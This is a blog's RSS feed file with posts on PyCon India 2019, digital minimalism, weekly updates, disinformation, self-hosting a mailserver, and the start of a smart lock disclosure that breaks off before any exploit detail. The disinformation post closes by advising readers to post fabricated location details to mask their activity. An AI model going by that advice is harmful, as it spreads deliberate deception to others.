pages/blog/feed.xml (view raw)
1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
2 <channel>
3 <title>icyphox's blog</title>
4 <link>https://icyphox.sh/blog/</link>
5 <description>Security, forensics and privacy.</description>
6 <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
7 <image>
8 <title>icyphox logo</title>
9 <url>https://icyphox.sh/icyphox.png</url>
10 <link>https://icyphox.sh/blog/</link>
11 </image>
12 <language>en-us</language>
13 <copyright>Creative Commons BY-NC-SA 4.0</copyright>
14 <item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I’m writing this article as I sit in class, back on the grind. Last
15weekend—Oct 12th and 13th—was PyCon India 2019, in Chennai, India.
16It was my first PyCon, <em>and</em> my first ever talk at a major conference!
17This is an account of the all the cool stuff I saw, people I met and the
18talks I enjoyed.
19Forgive the lack of pictures – I prefer living the moment through my
20eyes. </p>
21
22<h3 id="talks">Talks</h3>
23
24<p>So much ML! Not that it’s a bad thing, but definitely interesting to
25note. From what I counted, there were about 17 talks tagged under “Data
26Science, Machine Learning and AI”. I’d have liked to see more talks
27discussing security and privacy, but hey, the organizers can only pick
28from what’s submitted. ;)</p>
29
30<p>With that point out of the way, here’s some of the talks I really liked:</p>
31
32<ul>
33<li><strong>Python Packaging - where we are and where we’re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li>
34<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li>
35<li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li>
36<li><strong>Let’s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li>
37<li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>’s closing
38keynote</li>
39</ul>
40
41<h3 id="my-talk">My talk (!!!)</h3>
42
43<p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about
44our smart lock security research. Agreed, it might have been less
45“hardware” and more of a bug on the server-side, but that’s the thing
46about IoT right? It’s so multi-faceted, and is an amalgamation of so
47many different hardware and software stacks. But, anyway…</p>
48
49<p>I was reassured by folks after the talk that the silence during Q/A was
50the “good” kind of silence. Was it really? I’ll never know.</p>
51
52<h3 id="some-nice-people-i-met">Some nice people I met</h3>
53
54<ul>
55<li><a href="https://twitter.com/abhirathb">Abhirath</a> – A 200 IQ lad. Talked to
56me about everything from computational biology to the physical
57implementation of quantum computers.</li>
58<li><a href="https://twitter.com/meain_">Abin</a> – He recognized me from my
59<a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty
60awesome.</li>
61<li><a href="https://twitter.com/h6165">Abhishek</a></li>
62<li>Pradyun and Vikrant (linked earlier)</li>
63</ul>
64
65<p>And a lot of other people doing really great stuff, whose names I’m
66forgetting.</p>
67
68<h3 id="pictures">Pictures!</h3>
69
70<p>It’s not much, and
71I can’t be bothered to format them like a collage or whatever, so I’ll
72just dump them here – as is.</p>
73
74<p><img src="/static/img/silly_badge.jpg" alt="nice badge" />
75<img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />
76<img src="/static/img/me_talking.jpg" alt="me talking" />
77<img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p>
78
79<h3 id="cest-tout">C’est tout</h3>
80
81<p>Overall, a great time and a weekend well spent. It was very different
82from your typical security conference – a lot more <em>chill</em>, if you
83will. The organizers did a fantastic job and the entire event was put
84together really well.
85I don’t have much else to say, but I know for sure that I’ll be
86there next time.</p>
87
88<p>That was PyCon India, 2019.</p>
89]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
90subject. But this is inherently different, since it’s <em>my</em> opinion on
91the matter, and <em>my</em> technique(s) to achieve “digital minimalism”.</p>
92
93<p>According to me, minimalism can be achieved on two primary fronts –
94the phone & the computer. Let’s start with the phone. The daily carry.
95The device that’s on our person from when we get out of bed, till we get
96back in bed.</p>
97
98<h3 id="the-phone">The phone</h3>
99
100<p>I’ve read about a lot of methods people employ to curb their phone
101usage. Some have tried grouping “distracting” apps into a separate
102folder, and this supposedly helps reduce their usage. Now, I fail to see
103how this would work, but YMMV. Another technique I see often is using
104a time governance app—like OnePlus’ Zen Mode—to enforce how much
105time you spend using specific apps, or the phone itself. I’ve tried this
106for myself, but I constantly found myself counting down the minutes
107after which the phone would become usable again. Not helpful.</p>
108
109<p>My solution to this is a lot more brutal. I straight up uninstalled the
110apps that I found myself using too often. There’s a simple principle
111behind it – if the app has a desktop alternative, like Twitter,
112Reddit, etc. use that instead. Here’s a list of apps that got nuked from
113my phone:</p>
114
115<ul>
116<li>Twitter</li>
117<li>Instagram (an exception, no desktop client)</li>
118<li>Relay for Reddit</li>
119<li>YouTube (disabled, ships with stock OOS)</li>
120</ul>
121
122<p>The only non-productive app that I’ve let remain is Clover,
123a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that
124holds up. I’ve also allowed my personal messaging apps to remain, since
125removing those would be inconveniencing others.</p>
126
127<p>I must admit, I often find myself reaching for my phone out of habit
128just to check Twitter, only to find that its gone. I also subconsciously
129tap the place where its icon used to exist (now replaced with my mail
130client) on my launcher. The only “fun” thing left on my phone to do is
131read or listen to music. Which is okay, in my opinion.</p>
132
133<h3 id="the-computer">The computer</h3>
134
135<p>I didn’t do anything too nutty here, and most of the minimalism is
136mostly aesthetic. I like UIs that get out of the way. </p>
137
138<p>My setup right now is just a simple bar at the top showing the time,
139date, current volume and battery %, along with my workspace indicators.
140No fancy colors, no flashy buttons and sliders. And that’s it. I don’t
141try to force myself to not use stuff – after all, I’ve reduced it
142elsewhere. :)</p>
143
144<p>Now the question arises: Is this just a phase, or will I stick to it?
145What’s going to stop me from heading over to the Play Store and
146installing those apps back? Well, I never said this was going to be
147easy. There’s definitely some will power needed to pull this off.
148I guess time will tell.</p>
149]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It’s a lazy Friday afternoon here; yet another off day this week thanks to my
150uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened
151since then. Let’s get right into it!</p>
152
153<h3 id="my-switch-to-alpine">My switch to Alpine</h3>
154
155<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
156
157<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
158<span class="m">3817</span>
159
160<span class="c1"># or something in that ballpark</span>
161</code></pre></div>
162
163<p>I’ve been wanting to reduce my system’s package count.</p>
164
165<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
166sane package manager. I did come across Dylan Araps’
167<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
168for me (and still relatively new). I finally settled on
169<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
170
171<blockquote>
172 <p>Alpine Linux is a security-oriented, lightweight Linux distribution based
173 on musl libc and busybox.</p>
174</blockquote>
175
176<p>The installation was a breeze, and I was quite surprised to see WiFi working
177OOTB. In the past week of my using this distro, the only major hassle I faced
178was getting my Minecraft launcher to run. The JRE isn’t fully ported to <code>musl</code>
179yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
180soon. (hint: it involves chroots)</p>
181
182<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
183
184<h3 id="packaging-for-alpine">Packaging for Alpine</h3>
185
186<p>On a related note, I’ve been busy packaging some of the stuff I use for Alpine
187– you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
188repository if you’re interested. I’m currently working on packaging Nim too, so
189keep an eye out for that in the coming week.</p>
190
191<h3 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h3>
192
193<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
194going to be speaking at PyCon India about our recent smart lock security
195research. The conference is happening in Chennai, much to our convenience.
196If you’re attending too, hit me up on Twitter and we can hang!</p>
197
198<h3 id="other">Other</h3>
199
200<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
201strong, my reading however, hasn’t. I have <em>yet</em> to finish those books! This
202week, for sure.</p>
203
204<p>Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and
205I think I like it? I still find myself coming back to metalcore/deathcore.
206Here’s a list of artists I discovered (and liked) recently:</p>
207
208<ul>
209<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
210<li>生 Conform 死 (couldn’t find any official YouTube video, check Spotify)</li>
211<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
212<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
213<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
214</ul>
215
216<p>That’s it for now, I’ll see you next week!</p>
217
218<div class="footnotes">
219<hr />
220<ol>
221<li id="fn-1">
222<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a> <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
223</li>
224</ol>
225</div>
226]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I’m trying out, in an effort to write more frequently
227and to serve as a log of how I’m using my time. In theory, I will write this post
228every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on
229a format for this, but it will probably include a quick summary of the work I did,
230things I read, IRL stuff, etc.</p>
231
232<p>With the meta stuff out of the way, here’s what went down last week!</p>
233
234<h3 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h3>
235
236<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to
237the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
238It creates a small community of sites and enables sharing of traffic among these sites.
239The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
240of those sites are beautiful. Mine pales in comparison.</p>
241
242<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
243called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
244and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
245twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
246
247<p>Which brings me to the next thing I did this/last week.</p>
248
249<h3 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h3>
250
251<p>I’m not a fan of the official Python client, because you know, Python is bloat.
252As an advocate of <em>mnmlsm</em>, I can’t use it in good conscience. Thus, began my
253authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
254It’s not entirely useable as of yet, but it’s definitely getting there, with the help
255of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
256
257<h3 id="other">Other</h3>
258
259<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
260Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER.
261It’s pretty good – each episode is only about 30 mins and it hits the sweet spot,
262delvering both interesting security content and news.</p>
263
264<p>My reading needs a ton of catching up. Hopefully I’ll get around to finishing up
265“The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.</p>
266
267<p>I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly
268easy to pick up. Learning the Cyrillic script will require some relearning, especially
269with letters like в, н, р, с, etc. that look like English but sound entirely different.
270I think I’m pretty serious about learning this language – I’ve added the Russian keyboard
271to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the <code>RU</code>
272layout to my keyboard map too:</p>
273
274<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
275</code></pre>
276
277<p>With that ends my weekly update, and I’ll see you next week!</p>
278]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let’s start with its etymology and definiton.
279According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
280<em>disinformation</em> has been borrowed from the Russian word — <em>dezinformatisya</em> (дезинформа́ция),
281derived from the title of a KGB black propaganda department.</p>
282
283<blockquote>
284 <p>Disinformation is false information spread deliberately to deceive.</p>
285</blockquote>
286
287<p>To fully understand disinformation, especially in the modern age, we need to understand the
288key factors of any successful disinformation operation:</p>
289
290<ul>
291<li>creating disinformation (what)</li>
292<li>the motivation behind the op, or its end goal (why)</li>
293<li>the medium used to disperse the falsified information (how)</li>
294<li>the actor (who)</li>
295</ul>
296
297<p>At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
298
299<p>In order to break monotony, I will also be using the terms “information operation”, or the shortened
300forms – “info op” & “disinfo”.</p>
301
302<h3 id="creating-disinformation">Creating disinformation</h3>
303
304<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
305of any disinformation sample is a huge indicator of the level of sophistication of the
306actor involved, i.e. is it a 12 year old troll or a nation state?</p>
307
308<p>Well crafted disinformation always has one primary characteristic — “plausibility”.
309The disinfo must sound reasonable. It must induce the notion it’s <em>likely</em> true.
310To achieve this, the target — be it an individual, a specific demographic or an entire
311nation — must be well researched. A deep understanding of the target’s culture, history,
312geography and psychology is required. It also needs circumstantial and situational awareness,
313of the target.</p>
314
315<p>There are many forms of disinformation. A few common ones are staged videos / photographs,
316recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.</p>
317
318<p>Here’s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
319imagery:</p>
320
321<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
322<p lang="en" dir="ltr">Disinformation.
323<br><br>
324The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
325<br><br>Recontextualisation as threat vector.
326<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
327</p>— thaddeus e. grugq (@thegrugq)
328<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
329</blockquote>
330
331<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
332
333<h3 id="motivations-behind-an-information-operation">Motivations behind an information operation</h3>
334
335<p>I like to broadly categorize any info op as either proactive or reactive.
336Proactively, disinformation is spread with the desire to influence the target
337either before or during the occurence of an event. This is especially observed
338during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
339In offensive information operations, the target’s psychological state can be affected by
340spreading <strong>fear, uncertainty & doubt</strong>, or FUD for short.</p>
341
342<p>Reactive disinformation is when the actor, usually a nation state in this case,
343screws up and wants to cover their tracks. A fitting example of this is the case
344of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over
345eastern Ukraine. This tragic incident has been attributed to Russian-backed
346separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>
347Russian media is known to have desseminated a number of alternative & some even
348conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT’s (Dutch-lead Joint
349Investigation Team) investigations pointed towards the separatists.
350The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
351potentially correct information takes a credibility hit.</p>
352
353<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
354in totalitarian regimes; when the government decides what the media portrays to the
355masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
356
357<blockquote>
358 <p>Official state media pin the blame for protests on the “black hand” of foreign interference,
359 namely from the United States, and what they have called criminal Hong Kong thugs.
360 A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters,
361 who are demanding an end to an extradition bill with China and the ability to elect their own leader.
362 Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience,
363 this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
364 …</p>
365</blockquote>
366
367<h3 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h3>
368
369<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
370play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s
371popularity.</p>
372
373<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
374generate activity programmatically via the API, Twitter bots are the go-to choice today for
375info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots),
376to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
377get realtime insights into what sticks and what doesn’t.
378The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
379factory — the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
380to create discussions about alternative theories.</p>
381
382<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
383actively invest in creating group chats to spread political messages and memes. These parties
384have volunteers whose sole job is to sit and forward messages.
385Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
386this is disinformation without a motive, or the motive is hard to determine simply because
387the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
388This is a difficult problem to combat, especially given the nature of the target audience.</p>
389
390<h3 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h3>
391
392<p>I doubt this requires further elaboration, but in short:</p>
393
394<ul>
395<li>nation states and their intelligence agencies</li>
396<li>governments, political parties</li>
397<li>other non/quasi-governmental groups</li>
398<li>trolls</li>
399</ul>
400
401<p>This essentially sums up the what, why, how and who of disinformation. </p>
402
403<h3 id="personal-opsec">Personal OPSEC</h3>
404
405<p>This is a fun one. Now, it’s common knowledge that
406<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
407afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
408lead to your OPSEC being compromised.
409So if you really have to, you can feign activity using disinformation. For example,
410pick a place, and throw in subtle details pertaining to the weather, local events
411or regional politics of that place into your disinfo. Assuming this is Twitter, you can
412tweet stuff like:</p>
413
414<ul>
415<li>“Ugh, when will this hot streak end?!”</li>
416<li>“Traffic wonky because of the Mardi Gras parade.”</li>
417<li>“Woah, XYZ place is nice! Especially the fountains by ABC street.”</li>
418</ul>
419
420<p>Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.</p>
421
422<p>And please, don’t do this:</p>
423
424<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
425
426<h3 id="conclusion">Conclusion</h3>
427
428<p>The ability to influence someone’s decisions/thought process in just one tweet is
429scary. There is no simple way to combat disinformation. Social media is hard to control.
430Just like anything else in cyber, this too is an endless battle between social media corps
431and motivated actors.</p>
432
433<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
434folks see the truth in a post-truth world.</p>
435
436<div class="footnotes">
437<hr />
438<ol>
439<li id="fn-1">
440<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
441</li>
442
443<li id="fn-2">
444<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>’s season one covers the MH17 investigation in detail. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
445</li>
446
447<li id="fn-3">
448<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
449</li>
450
451<li id="fn-4">
452<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a> <a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">↩</a></p>
453</li>
454
455<li id="fn-5">
456<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>. <a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">↩</a></p>
457</li>
458</ol>
459</div>
460]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I’d made an attempt at setting one up
461around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
462I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
463
464<p>For this attempt, I wanted a simpler approach. I recall how terribly
465confusing Dovecot & Postfix were to configure and hence I decided to look
466for a containerized solution, that most importantly, runs on my cheap $5
467Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB
468is actually available. So yeah, <em>pretty</em> tight.</p>
469
470<h3 id="whats-available">What’s available</h3>
471
472<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
473These are the ones I came across:</p>
474
475<ul>
476<li><p><a href="https://poste.io">poste.io</a>: Based on an “open core” model. The base install is open source
477and free (as in beer), but you’ll have to pay for the extra stuff.</p></li>
478<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io,
479but ships with a web UI that I didn’t need. </p></li>
480<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
481they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
482<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
483a mention. It however, needs a fresh box to work with. A box with absolutely
484nothing else on it. I can’t afford to do that.</p></li>
485<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
486</ul>
487
488<h3 id="so-docker-mailserver">So… <code>docker-mailserver</code></h3>
489
490<p>The first thing that caught my eye in the README:</p>
491
492<blockquote>
493 <p>Recommended:</p>
494
495 <ul>
496 <li>1 CPU</li>
497 <li>1GB RAM</li>
498 </ul>
499
500 <p>Minimum:</p>
501
502 <ul>
503 <li>1 CPU</li>
504 <li>512MB RAM</li>
505 </ul>
506</blockquote>
507
508<p>Fantastic, I can somehow squeeze this into my existing VPS.
509Setup was fairly simple & the docs are pretty good. It employs a single
510<code>.env</code> file for configuration, which is great.
511However, I did run into a couple of hiccups here and there.</p>
512
513<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
514of memory.</p>
515
516<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
517</code></pre>
518
519<p>But it eventually worked after a couple of attempts.</p>
520
521<p>The next thing I struggled with — DNS. Specifically, the with the step where
522the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
523<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
524isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into
525a <code>TXT</code> record. </p>
526
527<p>This is what it looks like.</p>
528
529<pre><code>mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; "
530 "p=<key>"
531 "<more key>" ) ; ----- DKIM key mail for icyphox.sh
532</code></pre>
533
534<p>But while configuring the record, you set “Type” to <code>TXT</code>, “Name” to <code>mail._domainkey</code>,
535and the “Value” to what’s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>""</code>.
536Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
537
538<p>To simplify debugging DNS issues later, it’s probably a good idea to
539point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an
540<code>A</code> record.
541You’ll then have to set an <code>MX</code> record with the “Name” as <code>@</code> (or whatever your DNS provider
542uses to denote the root domain) and the “Value” to <code>mail.domain.tld</code>.
543And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of
544your <code>A</code> record — “Name” as the server IP and “Value” as <code>mail.domain.tld</code>.
545I learnt this part the hard way, when my outgoing email kept getting
546rejected by Tutanota’s servers.</p>
547
548<p>Yet another hurdle — SSL/TLS certificates. This isn’t very properly
549documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
550and look at an example. In short, install <code>certbot</code>, have port 80 free,
551and run </p>
552
553<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
554</code></pre></div>
555
556<p>Once that’s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in
557the container, something like so:</p>
558
559<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
560
561<span class="nt">volumes</span><span class="p">:</span>
562 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
563 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
564 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
565 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
566
567<span class="nn">...</span>
568</code></pre></div>
569
570<p>With this done, you shouldn’t have mail clients complaining about
571wonky certs for which you’ll have to add an exception manually.</p>
572
573<h3 id="why-would-you">Why would you…?</h3>
574
575<p>There are a few good reasons for this:</p>
576
577<h4 id="privacy">Privacy</h4>
578
579<p>No really, this is <em>the</em> best choice for truly private
580email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t
581dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
582
583<blockquote>
584 <p>Truly secure systems do not require you to trust the service provider.</p>
585</blockquote>
586
587<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
588how can you really be sure that it isn’t a backdoored version of it?</p>
589
590<p>When you host your own mailserver, you truly own your email without having to rely on any
591third-party.
592This isn’t an attempt to spread FUD. In the end, it all depends on your
593threat model™.</p>
594
595<h4 id="decentralization">Decentralization</h4>
596
597<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
598active users. That’s obscene.
599Email was designed to be decentralized but big corps swooped in and
600made it a product. They now control your data, and it isn’t unknown that
601Google reads your mail. This again loops back to my previous point, privacy.
602Decentralization guarantees privacy. When you control your mail, you subsequently
603control who reads it.</p>
604
605<h4 id="personalization">Personalization</h4>
606
607<p>Can’t ignore this one. It’s cool to have a custom email address to flex.</p>
608
609<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
610
611<p>Pfft, this is no competition.</p>
612
613<div class="footnotes">
614<hr />
615<ol>
616<li id="fn-1">
617<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
618</li>
619
620<li id="fn-2">
621<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
622</li>
623
624<li id="fn-3">
625<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn’t trust Signal. <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
626</li>
627</ol>
628</div>
629]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7’s Blog</a>, with my edits</em>)</p>
630
631<h3 id="the-lock">The lock</h3>
632
633<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
634Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
635across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
636
637<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
638the Play/App Store to function. The app requires the user to create an
639account before further functionality is available.
640It also facilitates configuring the fingerprint,
641and unlocking from a range via Bluetooth.</p>
642
643<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
644and the Android app.</p>
645
646<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>
647
648<p>Android phones have the ability to capture Bluetooth (HCI) traffic
649which can be enabled under Developer Options under Settings. We made
650around 4 “unlocks” from the Android phone, as seen in the screenshot.</p>
651
652<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
653
654<p>This is the value sent in the <code>Write</code> request:</p>
655
